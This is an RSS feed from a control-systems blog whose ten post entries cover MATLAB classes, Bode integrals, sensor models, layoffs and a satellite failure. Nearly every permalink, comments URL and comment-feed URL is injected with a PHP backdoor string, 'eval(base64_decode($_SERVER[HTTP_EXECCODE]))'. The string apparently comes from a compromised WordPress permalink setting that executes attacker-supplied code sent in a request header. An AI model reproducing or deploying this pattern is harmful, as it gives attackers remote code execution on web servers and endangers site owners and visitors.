<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog at ControlTheoryPro.com</title>
	<atom:link href="http://blogs.controltheorypro.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogs.controltheorypro.com</link>
	<description>The online resource for Control Systems.</description>
	<lastBuildDate>Sun, 11 Oct 2009 00:10:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Reflections after a layoff…</title>
		<link>http://blogs.controltheorypro.com/2009/10/10/reflections-after-a-layoff%e2%80%a6/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2009/10/10/reflections-after-a-layoff%e2%80%a6/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 10 Oct 2009 22:19:22 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[engineering]]></category>
		<category><![CDATA[layoffs]]></category>
		<category><![CDATA[self-righteous rant]]></category>
		<category><![CDATA[the need for more engineers]]></category>
		<category><![CDATA[opportunities lost]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/2009/10/10/reflections-after-a-layoff%e2%80%a6/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[Slow times at a company usually lead to layoffs.  But this is a scenario where everyone loses.  I think there's a way for everyone to win and the company to come out stronger.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2009/10/10/reflections-after-a-layoff%e2%80%a6/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MATLAB 2009a &#8211; Classes, Getting Started</title>
		<link>http://blogs.controltheorypro.com/2009/04/16/matlab-2009a-classes-getting-started/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2009/04/16/matlab-2009a-classes-getting-started/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 03:02:56 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[classes]]></category>
		<category><![CDATA[MATLAB 2009a]]></category>
		<category><![CDATA[object-oriented programming]]></category>
		<category><![CDATA[PSD example]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=185</guid>
		<description><![CDATA[In control systems it is often necessary to model noise and disturbances with a PSD.  In this article I continue step-by-step my psdData class example.  In this step we define the necessary properties for the psdData class.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2009/04/16/matlab-2009a-classes-getting-started/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MATLAB 2009a &#8211; Classes</title>
		<link>http://blogs.controltheorypro.com/2009/04/10/matlab-2009a-classes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2009/04/10/matlab-2009a-classes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 11 Apr 2009 02:44:34 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[classes]]></category>
		<category><![CDATA[MATLAB 2009a]]></category>
		<category><![CDATA[object-oriented programming]]></category>
		<category><![CDATA[PSD example]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=181</guid>
		<description><![CDATA[With the release of 2008a MATLAB made the creation of classes much easier. In these blogs posts I will run you through the development of an example class.  The class, or object, will allow the user to store, plot, and manipulate PSD data.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2009/04/10/matlab-2009a-classes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rules of Thumb in Controls Design</title>
		<link>http://blogs.controltheorypro.com/2009/02/17/rules-of-thumb-in-controls-design/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2009/02/17/rules-of-thumb-in-controls-design/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 17 Feb 2009 21:42:13 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[Rules of Thumb]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[controls]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=175</guid>
		<description><![CDATA[I've had a hard time identifying good industry rules of thumb for conservative controls design.  So I've put together a list of rules of thumb.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2009/02/17/rules-of-thumb-in-controls-design/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bode Integrals</title>
		<link>http://blogs.controltheorypro.com/2009/02/14/bode-integrals/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2009/02/14/bode-integrals/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 14 Feb 2009 21:42:12 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[Bode]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[stability]]></category>
		<category><![CDATA[bode integrals]]></category>
		<category><![CDATA[controllers]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=173</guid>
		<description><![CDATA[Controllers are not magic.  They required careful design unique to the frequency response of the plant.  The Bode Integrals inform us of design limitations.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2009/02/14/bode-integrals/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Back on line&#8230;</title>
		<link>http://blogs.controltheorypro.com/2009/01/06/back-on-line/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2009/01/06/back-on-line/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 06 Jan 2009 23:44:38 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=171</guid>
		<description><![CDATA[Dec. was a rough month.  I was working a lot of hours while juggling the various family obligations of the holiday season.  Work has slowed down a lot - too much really - so I should have some time to post this week.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2009/01/06/back-on-line/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Slim Postings in Dec</title>
		<link>http://blogs.controltheorypro.com/2008/12/09/slim-postings-in-dec/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/12/09/slim-postings-in-dec/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 10 Dec 2008 06:15:42 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[layoffs]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=166</guid>
		<description><![CDATA[Sorry to say this but my "real" job is going to take up most of my time for the rest of December.  I won't be posting much for the rest of December.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/12/09/slim-postings-in-dec/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Sensor Models</title>
		<link>http://blogs.controltheorypro.com/2008/12/03/new-sensor-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/12/03/new-sensor-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 04 Dec 2008 07:23:10 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[sensors]]></category>
		<category><![CDATA[sensor modeling]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=164</guid>
		<description><![CDATA[Given that sensors are vital to feedback systems I've included a bunch of sensor models in my wiki.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/12/03/new-sensor-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What caused this satellite to fail</title>
		<link>http://blogs.controltheorypro.com/2008/11/29/what-caused-this-satellite-to-fail/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/11/29/what-caused-this-satellite-to-fail/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 30 Nov 2008 07:26:10 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[engineering]]></category>
		<category><![CDATA[self-righteous rant]]></category>
		<category><![CDATA[space news]]></category>
		<category><![CDATA[failure]]></category>
		<category><![CDATA[integrated testing]]></category>
		<category><![CDATA[satellite]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=162</guid>
		<description><![CDATA[A Nigerian telecom satellite failed recently.  On another blog the question of why was asked.  I have some thoughts.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/11/29/what-caused-this-satellite-to-fail/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MATLAB&#8217;s Parallel Computing Toolbox: What finally worked</title>
		<link>http://blogs.controltheorypro.com/2008/11/23/what_finally_worked/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/11/23/what_finally_worked/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 24 Nov 2008 06:12:57 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[Monte Carlo]]></category>
		<category><![CDATA[Parallel Computing Toolbox]]></category>
		<category><![CDATA[Simulink]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=158</guid>
		<description><![CDATA[If you are going to use MATLAB's Parallel Computing Toolbox for the first time schedule a couple of weeks to figure out how to use it with Simulink.  I've found a work around using the batch command but it isn't ideal.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/11/23/what_finally_worked/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

